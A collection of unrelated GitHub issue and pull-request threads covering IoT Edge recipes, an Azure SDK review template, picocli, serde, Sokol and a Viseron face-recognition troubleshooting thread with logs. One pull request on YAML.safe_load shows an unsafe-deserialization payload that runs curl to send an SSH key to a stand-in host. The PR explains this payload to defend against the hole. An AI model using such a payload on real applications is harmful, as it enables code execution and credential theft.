Hi! What's the status on this? Is there some time frame for this change to be in effect?

Hi,
there is a lot of progress on https://github.com/Azure/azure-iotedge/releases, new features and new releases. Are there any plans to update to the latest lts version 1.4?

@rschwarz-sotec and @sindelar-fr see https://github.com/Azure/meta-iotedge/pull/90.  Would very much appreciate any early feedback and having folks try out the change once we move it out of a draft PR state.

The dunfell branch now has recipes for the 1.4.x release.  If anyone still needs the 1.1 recipes you can find them in the dunfell-1.1 branch.

Migrated the branching strategy info to the repo's top-level README.  Closing this out here.


Board Review: Microsoft Azure Attestation

Thank you for starting the process for approval of the client library for your Azure service.  Thorough review of your client library ensures that your APIs are consistent with the guidelines and the consumers of your client library have a consistently good experience when using Azure.
** Before submitting, ensure you adjust the title of the issue appropriately **
To ensure consistency, all Tier-1 languages (C#, TypeScript, Java, Python) will generally be reviewed together.  In expansive libraries, we will pair dynamic languages (Python, TypeScript) together, and strongly typed languages (C#, Java) together in separate meetings.
The Basics

Service team responsible for the client library: Larry Osterman (larryo)
Link to documentation describing the service: https://docs.microsoft.com/en-us/azure/attestation/overview#:~:text= Azure Attestation is critical to Confidential Computing,parties to interact with the enclave. More
Contact email (if service team, provide PM and Dev Lead): sidittak; anilba - please don't contact anil, he's the dev lead but isn't involved in the API review process except as an informative.

About this client library

Name of the client library: Azure.Security.Attestation
Languages for this review:C#
Link to the service REST APIs:https://github.com/Azure/azure-rest-api-specs/tree/master/specification/attestation/data-plane

Artifacts required (per language)
We use an API review tool (apiview) to support .NET and Java API reviews.  For Python and TypeScript, use the API extractor tool, then submit the output as a Draft PR to the relevant repository (azure-sdk-for-python or azure-sdk-for-js).
.NET

Upload DLL to apiview.  Link:https://apiview.dev/Assemblies/Review/dc7f0539105a4910999fa3ab8d7255e2
Link to samples for champion scenarios:https://github.com/LarryOsterman/azure-sdk-for-net/blob/LarryO-CreateGAApiSDK/sdk/attestation/Azure.Security.Attestation/tests/Samples/AttestationServiceAttestationSamples.cs

Java

Upload JAR to apiview.  Link:
Link to samples for champion scenarios:

Python

Upload the api as a Draft PR.  Link to PR:
Link to samples for champion scenarios:

TypeScript

Upload output of api-extractor as a Draft PR.  Link to PR:
Link to samples for champion scenarios:

Champion Scenarios
A champion scenario is a use case that the consumer of the client library is commonly expected to perform.  Champion scenarios are used to ensure the developer experience is exemplary for the common cases.  You need to show the entire code sample (including error handling, as an example) for the champion scenarios.

Champion Scenario 1:

Describe the champion scenario: Developer wishing to perform a Secure Key Release with the Managed HSM service.
Estimate the percentage of developers using the service who would use the champion scenario: 100%. Percentage of developers using any of the Pri 0 SDK languages who would use the champion scenario: Possibly as high as 2%. The champion scenario requires the ability for customers to validate OpenEnclave Reports, and that is only available as a C API.
Link to the code sample: https://github.com/LarryOsterman/azure-sdk-for-net/blob/a297bbea48a81797aaef32e8965953659a3aa86a/sdk/attestation/Azure.Security.Attestation/tests/Samples/AttestationServiceAttestationSamples.cs#L119

Champion Scenario 2:

Describe the champion scenario: Tenant administrator wishes to set the attestation policy on the attestation service
Estimate the percentage of developers using the service who would use the champion scenario: 1%. Note that again, this champion scenario requires the ability to invoke C APIs.
Link to the code sample: https://github.com/LarryOsterman/azure-sdk-for-net/blob/a297bbea48a81797aaef32e8965953659a3aa86a/sdk/attestation/Azure.Security.Attestation/tests/Samples/AttestationServiceAttestationSamples.cs#L139

Examples of good scenarios are technology agnostic (i.e. the customer can do the same thing in multiple ways), and are expected to be used by > 20% of users:

Upload a file
Update firmware on the device
Recognize faces in an uploaded image

Examples of bad scenarios:

Create a client (it's part of a scenario, and we'll see it often enough in true champion scenarios)
Send a batch of events (again, part of the scenario)
Create a page blob (it's not used by enough of the user base)

Agenda for the review
A board review is generally split into two parts, with additional meetings as required
Part 1 - Introducing the board to the service:

Review of the service (no more than 10 minutes).
Review of the champion scenarios.
Get feedback on the API patterns used in the champion scenarios.

After part 1, you may schedule additional meetings with architects to refine the API and work on implementation.
Part 2 - the "GA" meeting

Scheduled at least one week after the APIs have been uploaded for review.
Will go over controversial feedback from the line-by-line API review.
Exit meeting with concrete changes necessary to meet quality bar.

Thank you for your submission

scheduled for 11/10 2-4pm PST.

Recording[MS Internal Only]


fix: Request batch now creates batches for every token

Closes #45
Note: this fix can be easily applied by pulling the new version, doing make install and restarting the peggo service.

@Mergifyio backport release/v0.1.x


Specialized Enum classes not handled well

picocli does not handle specialized enums correctly. The reason for this is that specialized enum classes do not return isEnum() -> true.
For more details on this see here or JRE sources.
https://bugs.openjdk.java.net/browse/JDK-6708424
Since I need this I will provide a pull request for specialized enum soon. Stay tuned.
Example code of a specialized enum:
public enum SpecializedEnum{
  A(null),
  B(new Object());
  SpecializedEnum(Object o){
    this.o = o;
  }
  public final Object o;
}

Well... that was a false alarm, which was triggered by another bug in my application.
The declared type of the field is actually the non specialized enum - so this works nonetheless.

Glad to hear that!


Update input.ts

Tiny rewording.
Short description of what this resolves:
Changes proposed in this pull request:

Ionic Version: 1.x / 2.x
Fixes: #

I had some trouble parsing the sentence as originally written.

Thanks!


GUI option to show if the user is away

Is your feature request related to a problem? Please describe.
Currently there is no straightforward way to see if a user has /away set, or not.  If they have, there is no straightforward way of seeing their away message.
Describe the solution you'd like
I would suggest, for channels, the nick list on the right-hand should have a visual indication, an icon (💤 perhaps?) that the person is afk.  A tool-tip on hover can have the away message displayed.  And the nick has a CSS class of "user-away" which might have lower opacity.

For private chat, away message  next to their nick?

And perhaps a GUI way to set an away message would also come really handy.
Describe alternatives you've considered
None.
Additional context
None.

I'm pretty sure this is a duplicate of #360 and I think what you want is impossible, since it doesn't scale for channels with ~1000 users.
Based on that, I'm afraid I have to close those issue.

@jhthorsen if it can't be scaled for large channels, how about just for PMs?  That and an easy way to set an away message should still be do-able, right?

Yes, and it's covered here: https://github.com/convos-chat/convos/issues/360#issuecomment-927092187


[Feature Request] Hotkey for Collapse/Un-collapse results while navigating

Hello @qawatake !!!!!
I´m gonna try to explain this FR with my poor english
This my default search parameters: as you can see I let collapse results ON.

1- I start to navigate inside the results using CRTL+N and CRTL+P
2- You can see that I have more than one match for the same note 4 : 42 : 4 : 8
3- This way I wanna see the matches inside the a specific note: for example this one below

4- To to this I have to click WITH THE MOUSE in the arrow on the left side of the screen (this is my FR)

My FR
My FR is related to item 4. Is it possible to define a hotkey to do this movement of open/close the content ?
My suggestion would be CRTL+1
I don´t know if is feasible. But would be AMAZING to be able to do this with the keyboard :pray: :pray: :pray:

I will try to investigate if your requested feature is possible.
But this is a lower priority than https://github.com/qawatake/obsidian-core-search-assistant-plugin/issues/6#issuecomment-1019403320.

I will try to investigate if your requested feature is possible.

Thank you very much for trying!!! Let's hope it's possible 🙏

But this is a lower priority than https://github.com/qawatake/obsidian-core-search-assistant-plugin/issues/6#issuecomment-1019403320.

Okay @qawatake !!!!
I think it's the right strategy!
Have a great day!!!

@FelipeRearden
Could you check https://github.com/qawatake/obsidian-core-search-assistant-plugin/issues/6#issuecomment-1020493606?
I believe the new feature will be enough for you, too.

Could you check https://github.com/qawatake/obsidian-core-search-assistant-plugin/issues/6#issuecomment-1020493606?

I was testing 3.0.0  when I saw your message :)
Woooow I loved it's absolutely fantastic !!!!!
Thanks you very much for .highlight-search-match and .focus-search-match would be amazing to
TAB is absolutely fantastic !!!!!!!!!!!
As I said manual view is 💪!!!!!!

I believe the new feature will be enough for you, too.

I'm gonna be 100% honest as I always are when testing beta plugins. Because its important for the developer when deciding what to do or what not to do or when to do :)
In my humble opinion, would be amazing to have the keyboard hotkey to open/close that little arrow to check the content before hitting CRTL+SPACE.

it just feels right to check the matches before decide to open the manual view

BUT what you did is AMAZING and I'm pretty happy to be able to navigate and have the matches highlighted !!!! It brings a whole new level to Obsidian (I cant see myself searching anymore without this plugin !)
Please feel free to close this issue or to keep open for a time in the future.
Thank you very much for this amazing feature :)


DatabricksConfig does not recognize environment variables

Using version 0.1.1 on a simple Scala program:
    println(s"env host: ${sys.env.get("DATABRICKS_HOST").get}")
    println(s"env token: ${sys.env.get("DATABRICKS_TOKEN").get}")
    val config = new DatabricksConfig()
    println(s"host: ${config.getHost}")
    println(s"token: ${config.getToken}")

The output is
env host: http://foo.databricks.com
env token: test
host: null
token: null

@nija-at did you try calling .resolve() on DatabricksConfig?

Yes, that worked. Thanks.
I assume there's good reason to have a separate resolve() method instead of resolving in the constructor.
It would be good to throw an error if any value is requested before resolve() is called at least once.


Clear debounceCheck when deactivating

The VisibilitySensor doesn't get reactivated if scrollCheck is active. That's because this.debounceCheck is not cleared properly and still contains the debounced function after stopWatching() has run.
Under these circumstances, the following condition is true and startWatching() gets skipped:
  startWatching: function () {
    if (this.debounceCheck || this.interval) { return; }

Thanks @danistefanovic , good catch :)

Published to npm as v3.6.2


Support non-string-literal wrapped paths

The current path-taking attributes like #[serde(crate = ...)] require the path to be wrapped in a string literal. I believe this is due to a limitation in older versions of the compiler, but it's possible to pass paths in directly now.
This causes issues when trying to use paths like #[serde(crate = $crate::reexports::serde)], the $crate token cannot be serialized through a string.
I think it would be backwards compatible to extend these attributes to parse either a string literal or a directly passed path to support these kinds of usecases.

Looking back at the original implementation (https://github.com/serde-rs/serde/pull/1499) I see there was some discussion about workarounds like:
use $crate::reexports::serde as _serde;
...
#[serde(crate = "_serde")]

But it would be nice if these weren't needed.

Hmm... would this require serde_derive to be compiler-version dependent, too? We can either have a one-time cost of a build script, or a cost at every invocation, but if we can just accept paths without first needing to check the rust version, that would be ok.

I have the feeling that it shouldn't require any version dependence (but I've not tried this sort of code on old compilers). For old compilers it's just not possible to have non-literal tokens in this position, so attempting to parse as a path will always fail, but there's nothing stopping you from trying that parse.


Use YAML.safe_load for loading YAMLs

Use YAML.safe_load and a custom YAML.safe_load_stream for loading YAML files
Without safe load, an app with classes that have "insecure" initializers may execute code from configuration YAMLs.
For example, something like this that was intended to just be called from somewhere in the code:
class UnsafeCommand
  def initialize(*cmd)
    @result = system(*cmd)
  end

  def success?
    !!@result
  end

Now your app is exploitable if it uses k8s-client by creating a YAML that looks something like:
---
foo: !ruby/object:UnsafeCommand
  cmd:
    - curl
    - -F
    -<EMAIL_ADDRESS>    - hack.example.com/steal_ssh_key

Now loading that config will call UnsafeCommand.new('curl', '-F', "<EMAIL_ADDRESS>'hack.example.com/steal_ssh_key')
By using safe_load, this does not happen because UnsafeCommand is not explicitly whitelisted.

Specs and yardocs added

Now uses the yaml-safe_load_stream gem.


Add extern "C" declarations for C++ users

Sokol doesn't play terribly nice with C++ compilers. Rather than forcing C++ consumers to fiddle with the header files, it would be nice to wrap the entire library in extern "C" guards:
#ifdef __cplusplus
extern "C" {
#endif

// ...

#ifdef __cplusplus
}
#endif

Note that stb_* libraries do exactly this: https://github.com/nothings/stb/blob/master/stb_image.h#L323

Done, but please note that compile problems may currently be caused by not strictly following a C standard (e.g. on GCC). This will eventually be fixed of course.


Cannot construct RSCPData with data type NONE

Validation fails when attempting to build a RSCPData instance with data type of RSCPDataType.NONE via
RSCPData.builder().tag(RSCPTag.TAG_EMS_REQ_POWER_PV).valueOfType(RSCPDataType.NONE, new byte[0]).build();
Expected: Can build an instance.
Actual: It throws an IllegalStateException with the message: Data must not be empty.

Fixed with version 1.0.1
Also added a helper method in the builder called noneValue() to add an empty byte array with data type NONE.
For example, the following two ways of constructing a RSCPData instance holding NONE are equivalent:
RSCPData.builder().tag(RSCPTag.TAG_EMS_REQ_POWER_PV).valueOfType(RSCPDataType.NONE, new byte[0]).build();
// same as
RSCPData.builder().tag(RSCPTag.TAG_EMS_REQ_POWER_PV).noneValue().build();

Thank you to bjoernbrings for pointing this out!

Fixed with version 1.0.1
Also added a helper method in the builder called noneValue() to add an empty byte array with data type NONE.
For example, the following two ways of constructing a RSCPData instance holding NONE are equivalent:
RSCPData.builder().tag(RSCPTag.TAG_EMS_REQ_POWER_PV).valueOfType(RSCPDataType.NONE, new byte[0]).build();
// same as
RSCPData.builder().tag(RSCPTag.TAG_EMS_REQ_POWER_PV).noneValue().build();

Thank you to bjoernbrings for pointing this out!


PokePointer.FindClosestTouchableForLayerMask does not correctly filter layer masks for Canvas

Describe the bug
PokePointer should only touch elements that are in the "Poke Layer Masks" list.
So when adding a Canvas to Ignore Raycast layer, it should be ignored.
This is not currently the case, as the code to test NearInteractionTouchableUnityUI does not test the layer.
Our use case make thoses canvas catching the pokepointer events and trigger the untouched event of our box collider buttons above. (Canvas are only used for background images and layout)
To reproduce
Steps to reproduce the behavior:

Change the layer of a Canvas to 'Ignore Raycast'
check that this canvas still receive the events from Pokepointer

Expected behavior
A Canvas added to Ignore Raycast should not detect being touched by poke pointer.
Your setup (please complete the following information)

Unity Version [2018.4.13f1]
MRTK Version [v2.2]

suggestion : adding if (touchable.gameObject.IsInLayerMask(layerMask)) during the parse of NearInteractionTouchableUnityUI.Instances:
			for (int i = 0; i < NearInteractionTouchableUnityUI.Instances.Count; i++)
			{
				NearInteractionTouchableUnityUI touchable = NearInteractionTouchableUnityUI.Instances[i];
				if (touchable.gameObject.IsInLayerMask(layerMask))
				{
					float distance = touchable.DistanceToTouchable(Position, out Vector3 normal);
					if (distance <= touchableDistance && distance < closestDistance)
					{
						closestNormal = normal;
					}
				}
			}


Make ZincScalaCompiler use Deleter to delete outputs

Deleter should would work better for Windows.
Followup after https://github.com/gradle/gradle/pull/10270.

cc: @gradle/build-cache

I think this can go to the icebox fox now.


Compreface face recognition not passing to HomeAssistant

I created Compreface it in its own container and it went well.  I did the photo training in the compreface web portal and was able to successfully use that web portal to hand the AI a test image and it did see the right face.  So far, so good.
I set viseron config with train:false and rebooted (and removed all but 1 camera for testing purposes)
I do now see "person1 detected" as an mqtt option in HomeAssistant under this camera!
However, when I walk over to the camera, it does not identify the face from the actual camera video stream.  There is nothing in the HomeAssistant logs that shows that Face Detected Person1 ever turned to On from Off.  There is a time-stamped entry in HA for the motion detection and person detection, but it doesn't mention the face was detected.
Am I missing a step in the setup?  How do I get the face detection applied to the video stream?
Originally posted by @Maxxell in https://github.com/roflcoopter/viseron/issues/473#issuecomment-1422712335

I searched the viseron logs for anything that says "face" and found nothing erroneous.  It appears to be running...?
[2023-02-08 15:45:21] [DEBUG   ] [viseron.components.data_stream] - Subscribing to data topic event/frontdoorcam/face/expired/person1, <bound method FaceDetectionBinarySensor.face_expired of <viseron.domains.face_recognition.binary_sensor.FaceDetectionBinarySensor object at 0x7f07d3c36d90>> [2023-02-08 15:45:21] [DEBUG   ] [viseron.components.data_stream] - Subscribing to data topic event/frontdoorcam/face/detected/person1, <bound method FaceDetectionBinarySensor.face_detected of <viseron.domains.face_recognition.binary_sensor.FaceDetectionBinarySensor object at 0x7f07d3c36d90>> [2023-02-08 15:45:21] [INFO    ] [viseron.components] - Setup of domain face_recognition for component compreface with identifier frontdoorcam took 0.0 seconds [2023-02-08 15:45:16] [INFO    ] [viseron.components] - Setting up component compreface [2023-02-08 15:45:16] [DEBUG   ] [viseron.components.data_stream] - Subscribing to data topic event/mqtt/entity_added, <bound method HassMQTTInterface.entity_added of <viseron.components.mqtt.homeassistant.HassMQTTInterface object at 0x7f07d4a94520>> [2023-02-08 15:45:17] [INFO    ] [viseron.components] - Setup of component compreface took 0.0 seconds [2023-02-08 15:45:20] [INFO    ] [viseron.components] - Setting up domain face_recognition for component compreface with identifier frontdoorcam [2023-02-08 15:45:20] [DEBUG   ] [viseron.components] - Domain face_recognition for component compreface with identifier frontdoorcam will wait for dependencies ['domain: camera, identifier: frontdoorcam'] [2023-02-08 15:45:21] [DEBUG   ] [viseron.components.compreface.face_recognition.frontdoorcam] - Post processor will run for labels: ['person'] [2023-02-08 15:45:21] [DEBUG   ] [viseron.states] - Adding entity FrontDoorCam Face Detected Person1 from component compreface [2023-02-08 15:45:21] [DEBUG   ] [viseron.states] - Setting state of binary_sensor.frontdoorcam_face_detected_person1 to state: off, attributes {'name': 'FrontDoorCam Face Detected Person1', 'domain': 'binary_sensor'}

Could you show me your full config?

Below is my entire config.  I have #'d out several of my cameras for the time being.  I replaced usernames and passwords and apikeys with "xxx" throughout:
`
ffmpeg:
camera:
makaicam:
name: MakaiCam
host: <IP_ADDRESS>
path: /cam/realmonitor?channel=1&subtype=0
username: xxx
password: xxx
port: 554
recorder:
idle_timeout: 10
lookback: 10
frame_timeout: 10
protocol: rtsp
codec: h264_cuvid
audio_codec: aac
fps: 30
mjpeg_streams:
makaicamstream:
width: 1920
height: 1280
draw_objects: true
draw_motion: true
zekecam:
name: ZekeCam
host: <IP_ADDRESS>
path: /cam/realmonitor?channel=1&subtype=0
username: xxx
password: xxx
port: 554
recorder:
idle_timeout: 10
lookback: 10
frame_timeout: 10
protocol: rtsp
codec: h264_cuvid
audio_codec: aac
fps: 30
mjpeg_streams:
zekecamstream:
width: 1920
height: 1280
draw_objects: true
draw_motion: true
garagecam:
  name: GarageCam
  host: <IP_ADDRESS>
  path: /cam/realmonitor?channel=1&subtype=0
  username: xxx
  password: xxx
  port: 554
  recorder:
    idle_timeout: 10
    lookback: 10
    retain: 2
  frame_timeout: 10
  protocol: rtsp
  codec: h264_cuvid
  audio_codec: aac
  fps: 30
  mjpeg_streams:
    garagecamstream:
      width: 1920
      height: 1280
      draw_objects: true
      draw_motion: true
frontdoorcam:
  name: FrontDoorCam
  host: <IP_ADDRESS>
  path: /cam/realmonitor?channel=1&subtype=0
  username: xxx
  password: xxx
  port: 554
  recorder:
    idle_timeout: 10
    lookback: 10
  frame_timeout: 10
  protocol: rtsp
  codec: h264_cuvid
  audio_codec: aac
  fps: 30
  mjpeg_streams:
    frontdoorcamstream:
      width: 2560
      height: 1920
      draw_objects: true
      draw_motion: true

backyardcam:
name: BackyardCam
host: <IP_ADDRESS>
path: /cam/realmonitor?channel=1&subtype=0
username: xxx
password: xxx
port: 554
recorder:
idle_timeout: 10
lookback: 10
frame_timeout: 10
protocol: rtsp
codec: h264_cuvid
audio_codec: aac
fps: 30
mjpeg_streams:
backyardcamstream:
width: 1920
height: 1280
draw_objects: true
draw_motion: true
mog2:
motion_detector:
cameras:
makaicam:
zekecam:
  garagecam:
  frontdoorcam:

backyardcam:
darknet:
object_detector:
cameras:
makaicam:
fps: 1
scan_on_motion_only: true
labels:
- label: person
confidence: 0.8
trigger_recorder: true
zekecam:
fps: 1
scan_on_motion_only: true
labels:
- label: person
confidence: 0.8
trigger_recorder: true
  garagecam:
    fps: 1
    scan_on_motion_only: true
    labels:
      - label: person
        confidence: 0.8
        trigger_recorder: true
  frontdoorcam:
    fps: 1
    scan_on_motion_only: true
    labels:
      - label: person
        confidence: 0.8
        trigger_recorder: true

backyardcam:
fps: 1
scan_on_motion_only: true
labels:
- label: person
confidence: 0.8
trigger_recorder: true
#dlib:
face_recognition:
model: cnn
expire_after: 10
cameras:
frontdoorcam:
labels:
- person
save_unknown_faces: true
compreface:
face_recognition:
host: compreface
port: 8010
train: false
recognition_api_key: xxx
cameras:
frontdoorcam:
garagecam:
labels:
- person
nvr:
makaicam:
zekecam:
garagecam:
frontdoorcam:
backyardcam:
webserver:
logger:
default_level: debug
mqtt:
home_assistant:
broker: <IP_ADDRESS>
port: 1883
username: xxx
password: xxx
`
Let me know if you see anything suspicious.

I tried copy/pasting here but it looked terrible.  So I tried making my own github repository to share my yaml.  With any luck, you'll find it here, called "config2.yaml"
https://github.com/Maxxell/ViserOmen

Your config looks OK from what i can see.
Try enabling debug logging and observer whats going on when you step infront of the camera.

I pulled a log from the Compreface container and found a few setup lines at the top that seem inconsequential.  Then a lot of rows of one type and an inexplicable change to another type of rows overnight on Feb 9.
More specifically...
~200 rows of this (date stamped Feb 8 though Feb 9):
<IP_ADDRESS> - CommonClientId [09/Feb/2023:15:03:15 +0000] "POST /admin/oauth/token?grant_type=refresh_token&scope=all HTTP/1.1" 200 0 "http://<IP_ADDRESS>:8010/dashboard?app=994a3654-d74e-45f3-b3b9-900e91cf0492&model=2242cbc0-cf6d-4016-ab88-107e774a5b14&type=RECOGNITION" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0"
Then ~600 rows of this (data from Feb 10 through Feb 13):
<IP_ADDRESS> - - [10/Feb/2023:21:04:53 +0000] "POST /api/v1/recognition/recognize?&limit=0&det_prob_threshold=0.8&prediction_count=1&status=False HTTP/1.1" 400 81 "-" "python-requests/2.28.1"
It never says "status=True" even though I walked in front of that camera several times.
Note that <IP_ADDRESS> is my workstation, so I guess its logging me changing settings and whatnot.  <IP_ADDRESS>:8010 gets me to CompreFace, so that URL seems right.
Any ideas?

Instead of host: compreface, try the IP address of your compreface instance. Name lookup may be failing.

Updated in my config.  It didn't help.

In Viseron, you use the logger component for that
https://viseron.netlify.app/components-explorer/components/logger

I already had logger in there set at debug level.  Is that the most-verbose level?  Should I switch it to "info"?

Debug is the most verbose!
  I think this is the interesting part:
'''
[2023-02-14 10:49:01] [DEBUG   ] [viseron.components.mog2.motion_detector.garagecam] - Motion detected
[2023-02-14 10:49:01] [DEBUG   ] [viseron.states] - Setting state of binary_sensor.garagecam_motion_detected to state: on, attributes {'name': 'GarageCam Motion Detected', 'domain': 'binary_sensor'}
[2023-02-14 10:49:01] [DEBUG   ] [viseron.components.nvr.nvr.garagecam] - Starting object detector
[2023-02-14 10:49:01] [DEBUG   ] [viseron.states] - Setting state of sensor.garagecam_operation_state to state: scanning_for_objects, attributes {'name': 'GarageCam Operation State', 'domain': 'sensor'}
[2023-02-14 10:49:02] [DEBUG   ] [viseron.components.mog2.motion_detector.frontdoorcam] - Max motion area: 0
[2023-02-14 10:49:02] [DEBUG   ] [viseron.components.mog2.motion_detector.garagecam] - Max motion area: 0.523
[2023-02-14 10:49:02] [DEBUG   ] [viseron.components.darknet.object_detector.garagecam] - Objects: [{'label': 'person', 'confidence': 0.97, 'rel_width': 0.231, 'rel_height': 0.586, 'rel_x1': 0.319, 'rel_y1': 0.408, 'rel_x2': 0.55, 'rel_y2': 0.994}]
[2023-02-14 10:49:02] [DEBUG   ] [viseron.states] - Setting state of binary_sensor.garagecam_object_detected_person to state: on, attributes {'name': 'GarageCam Object Detected Person', 'domain': 'binary_sensor', 'count': 1, 'objects': [<viseron.domains.object_detector.detected_object.DetectedObject object at 0x7ffbcc75bbb0>]}
[2023-02-14 10:49:02] [DEBUG   ] [viseron.states] - Setting state of binary_sensor.garagecam_object_detected to state: on, attributes {'name': 'GarageCam Object Detected', 'domain': 'binary_sensor', 'count': 1, 'objects': [<viseron.domains.object_detector.detected_object.DetectedObject object at 0x7ffbcc75bbb0>]}
[2023-02-14 10:49:02] [INFO    ] [viseron.components.ffmpeg.recorder.garagecam] - Starting recorder
[2023-02-14 10:49:02] [DEBUG   ] [viseron.components.ffmpeg.recorder.garagecam] - Saving thumbnail in /recordings/thumbnails/GarageCam
[2023-02-14 10:49:02] [DEBUG   ] [viseron.components.ffmpeg.recorder.garagecam] - Pausing segment cleanup
[2023-02-14 10:49:02] [DEBUG   ] [viseron.states] - Setting state of binary_sensor.garagecam_recorder to state: on, attributes {'name': 'GarageCam Recorder', 'domain': 'binary_sensor', 'start_time': datetime.datetime(2023, 2, 14, 10, 49, 2, 380753), 'start_timestamp':<PHONE_NUMBER>.380753, 'end_time': None, 'end_timestamp': None, 'date': '2023-02-14', 'path': '/recordings/garagecam/2023-02-14/10:49:02.mkv', 'filename': '10:49:02.mkv', 'thumbnail_path': '/recordings/garagecam/2023-02-14/10:49:02.jpg', 'objects': [<viseron.domains.object_detector.detected_object.DetectedObject object at 0x7ffbcc75bbb0>]}
[2023-02-14 10:49:02] [DEBUG   ] [viseron.states] - Setting state of image.garagecam_latest_thumbnail to state: unknown, attributes {'name': 'GarageCam Latest Thumbnail', 'domain': 'image', 'start_time': '2023-02-14T10:49:02.380753', 'path': '/recordings/garagecam/2023-02-14/10:49:02.mkv', 'thumbnail_path': '/recordings/garagecam/2023-02-14/10:49:02.jpg'}
[2023-02-14 10:49:02] [DEBUG   ] [viseron.states] - Setting state of sensor.garagecam_operation_state to state: recording, attributes {'name': 'GarageCam Operation State', 'domain': 'sensor'}
[2023-02-14 10:49:02] [DEBUG   ] [viseron.components.compreface.face_recognition.garagecam] - CompreFace response: {'result': [{'box': {'probability': 0.88674, 'x_max': 374, 'y_max': 209, 'x_min': 189, 'y_min': 17}, 'subjects': [{'subject': 'Josh', 'similarity': 0.81838}]}]}
[2023-02-14 10:49:02] [DEBUG   ] [viseron.components.compreface.face_recognition.garagecam] - Face found: {'subject': 'Josh', 'similarity': 0.81838}
[2023-02-14 10:49:03] [DEBUG   ] [viseron.components.mog2.motion_detector.frontdoorcam] - Max motion area: 0.00071
[2023-02-14 10:49:03] [DEBUG   ] [viseron.components.mog2.motion_detector.garagecam] - Max motion area: 0.50934
[2023-02-14 10:49:03] [DEBUG   ] [viseron.components.darknet.object_detector.garagecam] - Objects: [{'label': 'person', 'confidence': 0.97, 'rel_width': 0.228, 'rel_height': 0.584, 'rel_x1': 0.314, 'rel_y1': 0.408, 'rel_x2': 0.542, 'rel_y2': 0.992}]
[2023-02-14 10:49:03] [DEBUG   ] [viseron.states] - Setting state of binary_sensor.garagecam_object_detected to state: on, attributes {'name': 'GarageCam Object Detected', 'domain': 'binary_sensor', 'count': 1, 'objects': [<viseron.domains.object_detector.detected_object.DetectedObject object at 0x7ffbeb7ccd90>]}
[2023-02-14 10:49:03] [DEBUG   ] [viseron.states] - Setting state of sensor.garagecam_object_detector_fps to state: 36.7, attributes {'name': 'GarageCam Object Detector FPS', 'domain': 'sensor', 'preprocessor_fps': 263.6, 'inference_fps': 36.9, 'theoretical_max_fps': 36.7}
[2023-02-14 10:49:03] [DEBUG   ] [viseron.states] - Setting state of sensor.frontdoorcam_object_detector_fps to state: 35.2, attributes {'name': 'FrontDoorCam Object Detector FPS', 'domain': 'sensor', 'preprocessor_fps': 71.0, 'inference_fps': 35.4, 'theoretical_max_fps': 35.2}
[2023-02-14 10:49:03] [DEBUG   ] [viseron.components.compreface.face_recognition.garagecam] - CompreFace response: {'result': [{'box': {'probability': 0.99838, 'x_max': 370, 'y_max': 205, 'x_min': 204, 'y_min': 24}, 'subjects': [{'subject': 'Josh', 'similarity': 0.68681}]}]}
[2023-02-14 10:49:03] [DEBUG   ] [viseron.components.compreface.face_recognition.garagecam] - Face found: {'subject': 'Josh', 'similarity': 0.68681}
[2023-02-14 10:49:04] [DEBUG   ] [viseron.components.mog2.motion_detector.frontdoorcam] - Max motion area: 0
[2023-02-14 10:49:04] [DEBUG   ] [viseron.components.webserver.websocket_api] - Received {"type":"ping","command_id":19}
[2023-02-14 10:49:04] [DEBUG   ] [viseron.components.mog2.motion_detector.garagecam] - Max motion area: 0.67897
[2023-02-14 10:49:04] [DEBUG   ] [viseron.components.darknet.object_detector.garagecam] - Objects: [{'label': 'person', 'confidence': 0.97, 'rel_width': 0.192, 'rel_height': 0.586, 'rel_x1': 0.266, 'rel_y1': 0.406, 'rel_x2': 0.458, 'rel_y2': 0.992}]
[2023-02-14 10:49:04] [DEBUG   ] [viseron.states] - Setting state of binary_sensor.garagecam_object_detected to state: on, attributes {'name': 'GarageCam Object Detected', 'domain': 'binary_sensor', 'count': 1, 'objects': [<viseron.domains.object_detector.detected_object.DetectedObject object at 0x7ffbebae5a30>]}
[2023-02-14 10:49:05] [DEBUG   ] [viseron.components.mog2.motion_detector.frontdoorcam] - Max motion area: 0
[2023-02-14 10:49:05] [DEBUG   ] [viseron.components.compreface.face_recognition.garagecam] - CompreFace response: {'message': 'No face is found in the given image', 'code': 28}
[2023-02-14 10:49:05] [DEBUG   ] [viseron.components.mog2.motion_detector.garagecam] - Max motion area: 0.73066
[2023-02-14 10:49:05] [DEBUG   ] [viseron.components.darknet.object_detector.garagecam] - Objects: [{'label': 'person', 'confidence': 0.98, 'rel_width': 0.156, 'rel_height': 0.519, 'rel_x1': 0.278, 'rel_y1': 0.475, 'rel_x2': 0.434, 'rel_y2': 0.994}]
[2023-02-14 10:49:05] [DEBUG   ] [viseron.states] - Setting state of binary_sensor.garagecam_object_detected to state: on, attributes {'name': 'GarageCam Object Detected', 'domain': 'binary_sensor', 'count': 1, 'objects': [<viseron.domains.object_detector.detected_object.DetectedObject object at 0x7ffbebaeb5e0>]}
[2023-02-14 10:49:05] [DEBUG   ] [viseron.components.compreface.face_recognition.garagecam] - CompreFace response: {'message': 'No face is found in the given image', 'code': 28}
[2023-02-14 10:49:06] [DEBUG   ] [viseron.components.mog2.motion_detector.frontdoorcam] - Max motion area: 0
[2023-02-14 10:49:06] [DEBUG   ] [viseron.components.mog2.motion_detector.garagecam] - Max motion area: 0.53292
[2023-02-14 10:49:06] [DEBUG   ] [viseron.components.darknet.object_detector.garagecam] - Objects: [{'label': 'person', 'confidence': 0.97, 'rel_width': 0.111, 'rel_height': 0.483, 'rel_x1': 0.255, 'rel_y1': 0.486, 'rel_x2': 0.366, 'rel_y2': 0.969}]
[2023-02-14 10:49:06] [DEBUG   ] [viseron.states] - Setting state of binary_sensor.garagecam_object_detected to state: on, attributes {'name': 'GarageCam Object Detected', 'domain': 'binary_sensor', 'count': 1, 'objects': [<viseron.domains.object_detector.detected_object.DetectedObject object at 0x7ffb0dbbd3d0>]}
[2023-02-14 10:49:06] [DEBUG   ] [viseron.components.compreface.face_recognition.garagecam] - CompreFace response: {'message': 'No face is found in the given image', 'code': 28}
[2023-02-14 10:49:07] [DEBUG   ] [viseron.components.mog2.motion_detector.frontdoorcam] - Max motion area: 0.00071
[2023-02-14 10:49:07] [DEBUG   ] [viseron.components.mog2.motion_detector.garagecam] - Max motion area: 0.66458
